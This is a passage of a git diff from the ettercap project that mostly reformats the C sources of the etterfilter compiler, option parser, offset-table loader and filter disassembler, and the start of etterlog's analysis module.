filter_header *fh, struct filter_op *fop, size_t n); static size_t add_data_segment(u_char **data, size_t base, u_char **string, size_t slen); /*******************************************/ @@ -61,20 +60,20 @@ int write_output(void) /* display the message */ fprintf(stdout, " Writing output to \'%s\' ", GBL_OPTIONS->output_file); fflush(stdout); - + /* compute the header */ fh.magic = htons(EC_FILTER_MAGIC); strncpy(fh.version, EC_VERSION, sizeof(fh.version)); fh.data = sizeof(fh); data = create_data_segment(&fh, fop, ninst); - + /* write the header */ write(fd, &fh, sizeof(struct filter_header)); /* write the data segment */ write(fd, data, fh.code - fh.data); - + /* write the instructions */ for (i = 0; i < ninst; i++) { print_progress_bar(&fop[i]); @@ -82,11 +81,11 @@ int write_output(void) } close(fd); - + fprintf(stdout, " done.\n\n"); - + fprintf(stdout, " -> Script encoded into %d instructions.\n\n", (int)(i - 1)); - + return E_SUCCESS; } @@ -94,51 +93,49 @@ int write_output(void) * creates the data segment into an array * and update the file header */ -static u_char * create_data_segment(struct filter_header *fh, struct filter_op *fop, size_t n) +static u_char *create_data_segment(struct filter_header *fh, struct filter_op *fop, size_t n) { size_t i, len = 0; u_char *data = NULL; for (i = 0; i < n; i++) { - - switch(fop[i].opcode) { - case FOP_FUNC: - if (fop[i].op.func.slen) { - ef_debug(1, "@"); - len += add_data_segment(&data, len, &fop[i].op.func.string, fop[i].op.func.slen); - } - if (fop[i].op.func.rlen) { - ef_debug(1, "@"); - len += add_data_segment(&data, len, &fop[i].op.func.replace, fop[i].op.func.rlen); - } - break; - - case FOP_TEST: - if (fop[i].op.test.slen) { - ef_debug(1, "@"); - len += add_data_segment(&data, len, &fop[i].op.test.string, fop[i].op.test.slen); - } - break; - - case FOP_ASSIGN: - if (fop[i].op.assign.slen) { - ef_debug(1, "@"); - len += add_data_segment(&data, len, &fop[i].op.test.string, fop[i].op.test.slen); - } - break; - } + switch (fop[i].opcode) { + case FOP_FUNC: + if (fop[i].op.func.slen) { + ef_debug(1, "@"); + len += add_data_segment(&data, len, &fop[i].op.func.string, fop[i].op.func.slen); + } + if (fop[i].op.func.rlen) { + ef_debug(1, "@"); + len += add_data_segment(&data, len, &fop[i].op.func.replace, fop[i].op.func.rlen); + } + break; + + case FOP_TEST: + if (fop[i].op.test.slen) { + ef_debug(1, "@"); + len += add_data_segment(&data, len, &fop[i].op.test.string, fop[i].op.test.slen); + } + break; + + case FOP_ASSIGN: + if (fop[i].op.assign.slen) { + ef_debug(1, "@"); + len += add_data_segment(&data, len, &fop[i].op.test.string, fop[i].op.test.slen); + } + break; + } } - + /* where starts the code ? */ fh->code = fh->data + len; - + return data; } - -/* - * add a string to the buffer +/* + * add a string to the buffer */ static size_t add_data_segment(u_char **data, size_t base, u_char **string, size_t slen) { @@ -148,12 +145,12 @@ static size_t add_data_segment(u_char **data, size_t base, u_char **string, size /* copy the string, NULL separated */ memcpy(*data + base, *string, slen + 1); - /* - * change the pointer to the new string location + /* + * change the pointer to the new string location * it is an offset from the base of the data segment */ *string = (u_char *)base; - + /* retur the len of the added string */ return slen + 1; } @@ -163,30 +160,29 @@ static size_t add_data_segment(u_char **data, size_t base, u_char **string, size */ static void print_progress_bar(struct filter_op *fop) { - switch(fop->opcode) { - case FOP_EXIT: - ef_debug(1, "!"); - break; - case FOP_TEST: - ef_debug(1, "?"); - break; - case FOP_ASSIGN: - ef_debug(1, "="); - break; - case FOP_FUNC: - ef_debug(1, "."); - break; - case FOP_JMP: - ef_debug(1, ":"); - break; - case FOP_JTRUE: - case FOP_JFALSE: - ef_debug(1, ";"); - break; + switch (fop->opcode) { + case FOP_EXIT: + ef_debug(1, "!"); + break; + case FOP_TEST: + ef_debug(1, "?"); + break; + case FOP_ASSIGN: + ef_debug(1, "="); + break; + case FOP_FUNC: + ef_debug(1, "."); + break; + case FOP_JMP: + ef_debug(1, ":"); + break; + case FOP_JTRUE: + case FOP_JFALSE: + ef_debug(1, ";"); + break; } } /* EOF */ // vim:ts=3:expandtab - diff --git a/utils/etterfilter/ef_parser.c b/utils/etterfilter/ef_parser.c index afebf4194..d2f26a13c 100644 --- a/utils/etterfilter/ef_parser.c +++ b/utils/etterfilter/ef_parser.c @@ -1,24 +1,23 @@ /* - etterfilter -- parsing utilities - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ - + * etterfilter -- parsing utilities + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -26,9 +25,9 @@ #include #ifdef HAVE_GETOPT_H - #include +#include #else - #include +#include #endif /* protos... */ @@ -47,7 +46,7 @@ void ef_usage(void) fprintf(stdout, " -t, --test test the file (debug mode)\n"); fprintf(stdout, " -d, --debug print some debug info while compiling\n"); fprintf(stdout, " -w, --suppress-warnings ignore warnings during compilation\n"); - + fprintf(stdout, "\nStandard Options:\n"); fprintf(stdout, " -v, --version prints the version and exit\n"); fprintf(stdout, " -h, --help this help screen\n"); @@ -57,7 +56,6 @@ void ef_usage(void) exit(0); } - void parse_options(int argc, char **argv) { int c; @@ -65,56 +63,55 @@ void parse_options(int argc, char **argv) static struct option long_options[] = { { "help", no_argument, NULL, 'h' }, { "version", no_argument, NULL, 'v' }, - + { "test", required_argument, NULL, 't' }, { "output", required_argument, NULL, 'o' }, { "debug", no_argument, NULL, 'd' }, { "suppress-warning", no_argument, NULL, 'w' }, - - { 0 , 0 , 0 , 0} + + { 0, 0, 0, 0 } }; - optind = 0; - while ((c = getopt_long (argc, argv, "do:ht:vw", long_options, (int *)0)) != EOF) { + while ((c = getopt_long(argc, argv, "do:ht:vw", long_options, (int *)0)) != EOF) { switch (c) { - case 't': - test_filter(optarg); - break; - - case 'o': - GBL_OPTIONS->output_file = strdup(optarg); - break; - - case 'd': - /* use many times to encrease debug level */ - GBL_OPTIONS->debug++; - break; - - case 'w': - GBL_OPTIONS->suppress_warnings = 1; - break; - - case 'h': - ef_usage(); - break; - - case 'v': - printf("%s %s\n", GBL_PROGRAM, EC_VERSION); - exit(0); - break; - - case ':': // missing parameter - fprintf(stdout, "\nTry `%s --help' for more options.\n\n", GBL_PROGRAM); - exit(0); + case 't': + test_filter(optarg); + break; + + case 'o': + GBL_OPTIONS->output_file = strdup(optarg); + break; + + case 'd': + /* use many times to encrease debug level */ + GBL_OPTIONS->debug++; break; - case '?': // unknown option - fprintf(stdout, "\nTry `%s --help' for more options.\n\n", GBL_PROGRAM); - exit(0); + case 'w': + GBL_OPTIONS->suppress_warnings = 1; + break; + + case 'h': + ef_usage(); + break; + + case 'v': + printf("%s %s\n", GBL_PROGRAM, EC_VERSION); + exit(0); + break; + + case ':': // missing parameter + fprintf(stdout, "\nTry `%s --help' for more options.\n\n", GBL_PROGRAM); + exit(0); + break; + + case '?': // unknown option + fprintf(stdout, "\nTry `%s --help' for more options.\n\n", GBL_PROGRAM); + exit(0); break; } } @@ -123,17 +120,14 @@ void parse_options(int argc, char **argv) if (argv[optind]) { GBL_OPTIONS->source_file = strdup(argv[optind]); } - + /* make the default name */ if (GBL_OPTIONS->output_file == NULL) GBL_OPTIONS->output_file = strdup("filter.ef"); - + return; } - - /* EOF */ // vim:ts=3:expandtab - diff --git a/utils/etterfilter/ef_tables.c b/utils/etterfilter/ef_tables.c index 7ac0cd7d7..f41a0ab43 100644 --- a/utils/etterfilter/ef_tables.c +++ b/utils/etterfilter/ef_tables.c @@ -1,23 +1,23 @@ /* - etterfilter -- offset tables handling - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * etterfilter -- offset tables handling + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -34,13 +34,13 @@ struct off_entry { }; struct table_entry { - char * name; + char *name; u_int8 level; - SLIST_HEAD (, off_entry) offsets; + SLIST_HEAD(, off_entry) offsets; SLIST_ENTRY(table_entry) next; }; -static SLIST_HEAD (, table_entry) table_head; +static SLIST_HEAD(, table_entry) table_head; struct const_entry { char *name; @@ -48,7 +48,7 @@ struct const_entry { SLIST_ENTRY(const_entry) next; }; -static SLIST_HEAD (, const_entry) const_head; +static SLIST_HEAD(, const_entry) const_head; /* protos */ @@ -61,8 +61,8 @@ int get_constant(char *name, u_int32 *value); /*******************************************/ -/* - * load the tables for file +/* + * load the tables for file */ void load_tables(void) { @@ -76,16 +76,16 @@ void load_tables(void) u_int16 offset = 0; char *tok; - /* open the file */ + /* open the file */ fc = open_data("share", "etterfilter.tbl", FOPEN_READ_TEXT); ON_ERROR(fc, NULL, "Cannot find file etterfilter.tbl"); /* read the file */ while (fgets(line, 128, fc) != 0) { - + /* pointer to the end of the line */ end = line + strlen(line); - + /* count the lines */ lineno++; @@ -100,10 +100,10 @@ void load_tables(void) /* skip empty lines */ if (line[0] == '\0') continue; - + /* eat the empty spaces */ - for (q = line; *q == ' ' && q < end; q++); - + for (q = line; *q == ' ' && q < end; q++) ; + /* skip empty lines */ if (*q == '\0') continue; @@ -111,7 +111,7 @@ void load_tables(void) /* begin of a new section */ if (*q == '[') { SAFE_FREE(name); - + /* get the name in the brackets [ ] */ if ((p = strchr(q, ']'))) *p = '\0'; @@ -120,7 +120,7 @@ void load_tables(void) name = strdup(q + 1); ntables++; - + /* get the level in the next brackets [ ] */ q = p + 1; if ((p = strchr(q, ']'))) @@ -132,7 +132,7 @@ void load_tables(void) continue; } - + /* parse the offsets and add them to the table */ oname = ec_strtok(q, ":", &tok); q = ec_strtok(NULL, ":", &tok); @@ -143,10 +143,10 @@ void load_tables(void) /* get the size */ size = atoi(q); - + /* get the offset */ - for (q = p; !isdigit((int)*q) && q < end; q++); - + for (q = p; !isdigit((int)*q) && q < end; q++) ; + offset = atoi(q); /* add to the table */ @@ -157,10 +157,9 @@ void load_tables(void) fprintf(stdout, "\n%3d protocol tables loaded:\n", ntables); fprintf(stdout, "\t"); SLIST_FOREACH(t, &table_head, next) - fprintf(stdout, "%s ", t->name); + fprintf(stdout, "%s ", t->name); fprintf(stdout, "\n"); fclose(fc); - } /* @@ -183,9 +182,9 @@ static void add_virtualpointer(char *name, u_int8 level, char *offname, u_int16 /* the table was not found */ if (!found) { SAFE_CALLOC(t, 1, sizeof(struct table_entry)); - + SAFE_CALLOC(o, 1, sizeof(struct off_entry)); - + /* fill the structures */ t->name = strdup(name); t->level = level; @@ -195,7 +194,6 @@ static void add_virtualpointer(char *name, u_int8 level, char *offname, u_int16 SLIST_INSERT_HEAD(&t->offsets, o, next); SLIST_INSERT_HEAD(&table_head, t, next); - } else { SAFE_CALLOC(o, 1, sizeof(struct off_entry)); @@ -207,7 +205,6 @@ static void add_virtualpointer(char *name, u_int8 level, char *offname, u_int16 /* t already points to the right tables */ SLIST_INSERT_HEAD(&t->offsets, o, next); } - } /* @@ -227,20 +224,19 @@ int get_virtualpointer(char *name, char *offname, u_int8 *level, u_int16 *offset *size = o->size; *level = t->level; *offset = o->offset; - + return E_SUCCESS; } } return -E_NOTFOUND; } } - + return -E_NOTFOUND; } - /* - * load constants from the file + * load constants from the file */ void load_constants(void) { @@ -249,17 +245,17 @@ void load_constants(void) char line[128]; int lineno = 0, nconst = 0; char *p, *q, *end, *tok; - - /* open the file */ + + /* open the file */ fc = open_data("share", "etterfilter.cnt", FOPEN_READ_TEXT); ON_ERROR(fc, NULL, "Cannot find file etterfilter.cnt"); /* read the file */ while (fgets(line, 128, fc) != 0) { - + /* pointer to the end of the line */ end = line + strlen(line); - + /* count the lines */ lineno++; @@ -274,26 +270,26 @@ void load_constants(void) /* skip empty lines */ if (line[0] == '\0') continue; - + /* eat the empty spaces */ - for (q = line; *q == ' ' && q < end; q++); + for (q = line; *q == ' ' && q < end; q++) ; /* get the constant */ if (strstr(line, "=") && (q = ec_strtok(line, "=", &tok)) != NULL) { /* trim out the space */ if ((p = strchr(q, ' '))) *p = '\0'; - + SAFE_CALLOC(c, 1, sizeof(struct const_entry)); - + /* get the name */ c->name = strdup(q); - + if ((q = ec_strtok(NULL, "=", &tok)) == NULL) FATAL_ERROR("Invalid constant on line %d", lineno); /* eat the empty spaces */ - for (p = q; *p == ' ' && p < end; p++); + for (p = q; *p == ' ' && p < end; p++) ; c->value = strtoul(p, NULL, 16); @@ -305,17 +301,16 @@ void load_constants(void) /* insert in the list */ SLIST_INSERT_HEAD(&const_head, c, next); } - + /* print some nice information */ fprintf(stdout, "\n%3d constants loaded:\n", nconst); fprintf(stdout, "\t"); SLIST_FOREACH(c, &const_head, next) - fprintf(stdout, "%s ", c->name); + fprintf(stdout, "%s ", c->name); fprintf(stdout, "\n"); fclose(fc); } - /* * return the value of a constant * @@ -331,11 +326,10 @@ int get_constant(char *name, u_int32 *value) return E_SUCCESS; } } - + return -E_NOTFOUND; } /* EOF */ // vim:ts=3:expandtab - diff --git a/utils/etterfilter/ef_test.c b/utils/etterfilter/ef_test.c index a39c651bb..7e11f48e0 100644 --- a/utils/etterfilter/ef_test.c +++ b/utils/etterfilter/ef_test.c @@ -1,30 +1,30 @@ /* - etterfilter -- test module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * etterfilter -- test module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include #include #ifndef OS_WINDOWS - #include +#include #endif #include @@ -45,7 +45,7 @@ static void print_function(struct filter_op *fop, u_int32 eip); /*******************************************/ /* - * test a binary filter against a given file + * test a binary filter against a given file */ void test_filter(char *filename) { @@ -56,7 +56,7 @@ void test_filter(char *filename) u_int32 eip = 0; /*memset(fenv, 0, sizeof(struct filter_env));*/ - + /* load the file */ if (filter_load_file(filename, &flist, 1) != E_SUCCESS) { exit(-1); @@ -65,15 +65,15 @@ void test_filter(char *filename) /* skip the header in the file */ fop = fenv->chain; - + fprintf(stdout, "Disassebling \"%s\" content...\n\n", filename); - + /* loop all the instructions and print their content */ - while (eip < (fenv->len / sizeof(struct filter_op)) ) { + while (eip < (fenv->len / sizeof(struct filter_op))) { /* print the instruction */ print_fop(&fop[eip], eip); - + /* autoincrement the instruction pointer */ eip++; } @@ -88,95 +88,94 @@ void test_filter(char *filename) */ void print_fop(struct filter_op *fop, u_int32 eip) { - switch (fop->opcode) { - case FOP_TEST: - print_test(fop, eip); - break; - - case FOP_ASSIGN: - print_assign(fop, eip); - break; - - case FOP_INC: - print_inc(fop, eip); - break; - - case FOP_DEC: - print_dec(fop, eip); - break; - - case FOP_FUNC: - print_function(fop, eip); - break; - - case FOP_JMP: - fprintf(stdout, "%04lu: JUMP ALWAYS to %04d\n", (unsigned long)eip, fop->op.jmp); - break; - - case FOP_JTRUE: - fprintf(stdout, "%04lu: JUMP IF TRUE to %04d\n", (unsigned long)eip, fop->op.jmp); - break; - - case FOP_JFALSE: - fprintf(stdout, "%04lu: JUMP IF FALSE to %04d\n", (unsigned long)eip, fop->op.jmp); - break; - - case FOP_EXIT: - fprintf(stdout, "%04lu: EXIT\n", (unsigned long)eip); - break; - - default: - fprintf(stderr, "UNDEFINED OPCODE (%d) !!\n", fop->opcode); - exit(-1); - break; - } + switch (fop->opcode) { + case FOP_TEST: + print_test(fop, eip); + break; + + case FOP_ASSIGN: + print_assign(fop, eip); + break; + + case FOP_INC: + print_inc(fop, eip); + break; + + case FOP_DEC: + print_dec(fop, eip); + break; + + case FOP_FUNC: + print_function(fop, eip); + break; + + case FOP_JMP: + fprintf(stdout, "%04lu: JUMP ALWAYS to %04d\n", (unsigned long)eip, fop->op.jmp); + break; + + case FOP_JTRUE: + fprintf(stdout, "%04lu: JUMP IF TRUE to %04d\n", (unsigned long)eip, fop->op.jmp); + break; + + case FOP_JFALSE: + fprintf(stdout, "%04lu: JUMP IF FALSE to %04d\n", (unsigned long)eip, fop->op.jmp); + break; + + case FOP_EXIT: + fprintf(stdout, "%04lu: EXIT\n", (unsigned long)eip); + break; + + default: + fprintf(stderr, "UNDEFINED OPCODE (%d) !!\n", fop->opcode); + exit(-1); + break; + } } void print_test(struct filter_op *fop, u_int32 eip) { - switch(fop->op.test.op) { - case FTEST_EQ: - if (fop->op.test.size != 0) - fprintf(stdout, "%04lu: TEST level %d, offset %d, size %d, == %lu [%#x]\n", (unsigned long)eip, - fop->op.test.level, fop->op.test.offset, fop->op.test.size, (unsigned long)fop->op.test.value, (unsigned int)fop->op.test.value); - else - fprintf(stdout, "%04lu: TEST level %d, offset %d, \"%s\"\n", (unsigned long)eip, - fop->op.test.level, fop->op.test.offset, fop->op.test.string); - break; - - case FTEST_NEQ: - if (fop->op.test.size != 0) - fprintf(stdout, "%04lu: TEST level %d, offset %d, size %d, != %lu [%#x]\n", (unsigned long)eip, - fop->op.test.level, fop->op.test.offset, fop->op.test.size, (unsigned long)fop->op.test.value, (unsigned int)fop->op.test.value); - else - fprintf(stdout, "%04lu: TEST level %d, offset %d, not \"%s\"\n", (unsigned long)eip, - fop->op.test.level, fop->op.test.offset, fop->op.test.string); - break; - - case FTEST_LT: - fprintf(stdout, "%04lu: TEST level %d, offset %d, size %d, < %lu [%#x]\n", (unsigned long)eip, - fop->op.test.level, fop->op.test.offset, fop->op.test.size, (unsigned long)fop->op.test.value, (unsigned int)fop->op.test.value); - break; - - case FTEST_GT: - fprintf(stdout, "%04lu: TEST level %d, offset %d, size %d, > %lu [%#x]\n", (unsigned long)eip, - fop->op.test.level, fop->op.test.offset, fop->op.test.size, (unsigned long)fop->op.test.value, (unsigned int)fop->op.test.value); - break; - - case FTEST_LEQ: - fprintf(stdout, "%04lu: TEST level %d, offset %d, size %d, <= %lu [%#x]\n", (unsigned long)eip, - fop->op.test.level, fop->op.test.offset, fop->op.test.size, (unsigned long)fop->op.test.value, (unsigned int)fop->op.test.value); - break; - - case FTEST_GEQ: - fprintf(stdout, "%04lu: TEST level %d, offset %d, size %d, >= %lu [%#x]\n", (unsigned long)eip, - fop->op.test.level, fop->op.test.offset, fop->op.test.size, (unsigned long)fop->op.test.value, (unsigned int)fop->op.test.value); - break; - - default: - fprintf(stderr, "%04lu: UNDEFINED TEST OPCODE (%d) !!\n", (unsigned long)eip, fop->op.test.op); - break; - + switch (fop->op.test.op) { + case FTEST_EQ: + if (fop->op.test.size != 0) + fprintf(stdout, "%04lu: TEST level %d, offset %d, size %d, == %lu [%#x]\n", (unsigned long)eip, + fop->op.test.level, fop->op.test.offset, fop->op.test.size, (unsigned long)fop->op.test.value, (unsigned int)fop->op.test.value); + else + fprintf(stdout, "%04lu: TEST level %d, offset %d, \"%s\"\n", (unsigned long)eip, + fop->op.test.level, fop->op.test.offset, fop->op.test.string); + break; + + case FTEST_NEQ: + if (fop->op.test.size != 0) + fprintf(stdout, "%04lu: TEST level %d, offset %d, size %d, != %lu [%#x]\n", (unsigned long)eip, + fop->op.test.level, fop->op.test.offset, fop->op.test.size, (unsigned long)fop->op.test.value, (unsigned int)fop->op.test.value); + else + fprintf(stdout, "%04lu: TEST level %d, offset %d, not \"%s\"\n", (unsigned long)eip, + fop->op.test.level, fop->op.test.offset, fop->op.test.string); + break; + + case FTEST_LT: + fprintf(stdout, "%04lu: TEST level %d, offset %d, size %d, < %lu [%#x]\n", (unsigned long)eip, + fop->op.test.level, fop->op.test.offset, fop->op.test.size, (unsigned long)fop->op.test.value, (unsigned int)fop->op.test.value); + break; + + case FTEST_GT: + fprintf(stdout, "%04lu: TEST level %d, offset %d, size %d, > %lu [%#x]\n", (unsigned long)eip, + fop->op.test.level, fop->op.test.offset, fop->op.test.size, (unsigned long)fop->op.test.value, (unsigned int)fop->op.test.value); + break; + + case FTEST_LEQ: + fprintf(stdout, "%04lu: TEST level %d, offset %d, size %d, <= %lu [%#x]\n", (unsigned long)eip, + fop->op.test.level, fop->op.test.offset, fop->op.test.size, (unsigned long)fop->op.test.value, (unsigned int)fop->op.test.value); + break; + + case FTEST_GEQ: + fprintf(stdout, "%04lu: TEST level %d, offset %d, size %d, >= %lu [%#x]\n", (unsigned long)eip, + fop->op.test.level, fop->op.test.offset, fop->op.test.size, (unsigned long)fop->op.test.value, (unsigned int)fop->op.test.value); + break; + + default: + fprintf(stderr, "%04lu: UNDEFINED TEST OPCODE (%d) !!\n", (unsigned long)eip, fop->op.test.op); + break; } } @@ -184,91 +183,87 @@ void print_assign(struct filter_op *fop, u_int32 eip) { if (fop->op.assign.size != 0) fprintf(stdout, "%04lu: ASSIGNMENT level %d, offset %d, size %d, value %lu [%#x]\n", (unsigned long)eip, - fop->op.assign.level, fop->op.assign.offset, fop->op.assign.size, (unsigned long)fop->op.assign.value, (unsigned int)fop->op.assign.value); + fop->op.assign.level, fop->op.assign.offset, fop->op.assign.size, (unsigned long)fop->op.assign.value, (unsigned int)fop->op.assign.value); else - fprintf(stdout, "%04lu: ASSIGNMENT level %d, offset %d, string \"%s\"\n", (unsigned long)eip, - fop->op.assign.level, fop->op.assign.offset, fop->op.assign.string); - + fprintf(stdout, "%04lu: ASSIGNMENT level %d, offset %d, string \"%s\"\n", (unsigned long)eip, + fop->op.assign.level, fop->op.assign.offset, fop->op.assign.string); } void print_inc(struct filter_op *fop, u_int32 eip) { - fprintf(stdout, "%04lu: INCREMENT level %d, offset %d, size %d, value %lu [%#x]\n", (unsigned long)eip, - fop->op.assign.level, fop->op.assign.offset, fop->op.assign.size, (unsigned long)fop->op.assign.value, (unsigned int)fop->op.assign.value); + fprintf(stdout, "%04lu: INCREMENT level %d, offset %d, size %d, value %lu [%#x]\n", (unsigned long)eip, + fop->op.assign.level, fop->op.assign.offset, fop->op.assign.size, (unsigned long)fop->op.assign.value, (unsigned int)fop->op.assign.value); } void print_dec(struct filter_op *fop, u_int32 eip) { - fprintf(stdout, "%04lu: DECREMENT level %d, offset %d, size %d, value %lu [%#x]\n", (unsigned long)eip, - fop->op.assign.level, fop->op.assign.offset, fop->op.assign.size, (unsigned long)fop->op.assign.value, (unsigned int)fop->op.assign.value); + fprintf(stdout, "%04lu: DECREMENT level %d, offset %d, size %d, value %lu [%#x]\n", (unsigned long)eip, + fop->op.assign.level, fop->op.assign.offset, fop->op.assign.size, (unsigned long)fop->op.assign.value, (unsigned int)fop->op.assign.value); } void print_function(struct filter_op *fop, u_int32 eip) { switch (fop->op.func.op) { - case FFUNC_SEARCH: - fprintf(stdout, "%04lu: SEARCH level %d, string \"%s\"\n", (unsigned long)eip, - fop->op.func.level, fop->op.func.string); - break; - - case FFUNC_REGEX: - fprintf(stdout, "%04lu: REGEX level %d, string \"%s\"\n", (unsigned long)eip, - fop->op.func.level, fop->op.func.string); - break; - - case FFUNC_PCRE: - if (fop->op.func.replace) - fprintf(stdout, "%04lu: PCRE_REGEX level %d, string \"%s\", replace \"%s\"\n", (unsigned long)eip, - fop->op.func.level, fop->op.func.string, fop->op.func.replace); - else - fprintf(stdout, "%04lu: PCRE_REGEX level %d, string \"%s\"\n", (unsigned long)eip, - fop->op.func.level, fop->op.func.string); - break; - - case FFUNC_REPLACE: - fprintf(stdout, "%04lu: REPLACE \"%s\" --> \"%s\"\n", (unsigned long)eip, - fop->op.func.string, fop->op.func.replace); - break; - - case FFUNC_INJECT: - fprintf(stdout, "%04lu: INJECT \"%s\"\n", (unsigned long)eip, - fop->op.func.string); - break; - - case FFUNC_EXECINJECT: - fprintf(stdout, "%04lu: EXECINJECT \"%s\"\n", (unsigned long)eip, - fop->op.func.string); - break; - - case FFUNC_LOG: - fprintf(stdout, "%04lu: LOG to \"%s\"\n", (unsigned long)eip, fop->op.func.string); - break; - - case FFUNC_DROP: - fprintf(stdout, "%04lu: DROP\n", (unsigned long)eip); - break; - - case FFUNC_KILL: - fprintf(stdout, "%04lu: KILL\n", (unsigned long)eip); - break; - - case FFUNC_MSG: - fprintf(stdout, "%04lu: MSG \"%s\"\n", (unsigned long)eip, fop->op.func.string); - break; - - case FFUNC_EXEC: - fprintf(stdout, "%04lu: EXEC \"%s\"\n", (unsigned long)eip, fop->op.func.string); - break; - - default: - fprintf(stderr, "%04lu: UNDEFINED FUNCTION OPCODE (%d)!!\n", (unsigned long)eip, fop->op.func.op); - break; + case FFUNC_SEARCH: + fprintf(stdout, "%04lu: SEARCH level %d, string \"%s\"\n", (unsigned long)eip, + fop->op.func.level, fop->op.func.string); + break; + + case FFUNC_REGEX: + fprintf(stdout, "%04lu: REGEX level %d, string \"%s\"\n", (unsigned long)eip, + fop->op.func.level, fop->op.func.string); + break; + + case FFUNC_PCRE: + if (fop->op.func.replace) + fprintf(stdout, "%04lu: PCRE_REGEX level %d, string \"%s\", replace \"%s\"\n", (unsigned long)eip, + fop->op.func.level, fop->op.func.string, fop->op.func.replace); + else + fprintf(stdout, "%04lu: PCRE_REGEX level %d, string \"%s\"\n", (unsigned long)eip, + fop->op.func.level, fop->op.func.string); + break; + + case FFUNC_REPLACE: + fprintf(stdout, "%04lu: REPLACE \"%s\" --> \"%s\"\n", (unsigned long)eip, + fop->op.func.string, fop->op.func.replace); + break; + + case FFUNC_INJECT: + fprintf(stdout, "%04lu: INJECT \"%s\"\n", (unsigned long)eip, + fop->op.func.string); + break; + + case FFUNC_EXECINJECT: + fprintf(stdout, "%04lu: EXECINJECT \"%s\"\n", (unsigned long)eip, + fop->op.func.string); + break; + + case FFUNC_LOG: + fprintf(stdout, "%04lu: LOG to \"%s\"\n", (unsigned long)eip, fop->op.func.string); + break; + + case FFUNC_DROP: + fprintf(stdout, "%04lu: DROP\n", (unsigned long)eip); + break; + + case FFUNC_KILL: + fprintf(stdout, "%04lu: KILL\n", (unsigned long)eip); + break; + + case FFUNC_MSG: + fprintf(stdout, "%04lu: MSG \"%s\"\n", (unsigned long)eip, fop->op.func.string); + break; + + case FFUNC_EXEC: + fprintf(stdout, "%04lu: EXEC \"%s\"\n", (unsigned long)eip, fop->op.func.string); + break; + + default: + fprintf(stderr, "%04lu: UNDEFINED FUNCTION OPCODE (%d)!!\n", (unsigned long)eip, fop->op.func.op); + break; } - } - /* EOF */ // vim:ts=3:expandtab - diff --git a/utils/etterlog/el_analyze.c b/utils/etterlog/el_analyze.c index 9041ee077..8b4c59cf8 100644 --- a/utils/etterlog/el_analyze.c +++ b/utils/etterlog/el_analyze.c @@ -1,23 +1,23 @@ /* - etterlog -- analysis module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * etterlog -- analysis module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the 